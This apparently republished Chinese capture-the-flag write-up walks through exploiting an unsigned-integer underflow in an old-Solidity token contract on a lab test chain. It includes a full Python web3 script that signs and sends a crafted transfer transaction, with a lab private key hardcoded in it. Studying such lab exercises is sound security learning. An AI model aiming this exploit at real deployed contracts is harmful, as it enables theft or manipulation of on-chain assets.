0


某60区块链安全之整数溢出漏洞实战学习记录

区块链安全

`

文章目录


整数溢出漏洞实战

实验目的

学会使用python3的web3模块
学会以太坊整数溢出漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。
题目环境是测试链,所以需要本地与题目进行交互,可使用python3中的web3模块,通过web3模块的rpc功能与题目交互,从而编写自动化利用脚本。
实验内容
使用python3编写脚本测试漏洞
找到整数溢出漏洞并形成利用获取flag
实验地址为nc ip 10001

攻击过程

nc 靶标ip 端口
在这里插入图片描述
打开http://ip,输入上述分配的game account,点击Request获取eth

在这里插入图片描述
在这里插入图片描述

nc ip 10001连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10001连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

题目要求把flag设置为true,分析合约代码,在transfer中可以将flag设置为true,但需要满足totalSupply - _value > 0,其中totalSupply=20,其实考点为Solidity智能合约整数溢出,totalSupply与value都是uint无符号整数,所以只需要value为21即可产生整数下溢,造成溢出
在这里插入图片描述
需要调用transfer(0,21)即可将flag设置为true

EXP利用

利用python3的web3模块与远程题目交互,并编写利用代码,将ip替换成题目的ip,contract_address替换成自己的地址

from web3 import Web3, HTTPProvider
importtime

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address ="0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
private ="92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public ="0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn ={'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas':3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)return txn_receipt

# transfer(0,21)
data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
data +='0'*64
data +='21'.rjust(64,'0')

txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

运行exp
在这里插入图片描述

在这里插入图片描述

nc ip 10001连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

标签: 区块链 安全 学习

本文转载自: https://blog.csdn.net/weixin_51387754/article/details/134461390
版权归原作者 GuiltyFet 所有, 如有侵权,请联系我们删除。

“某60区块链安全之整数溢出漏洞实战学习记录”的评论:

还没有评论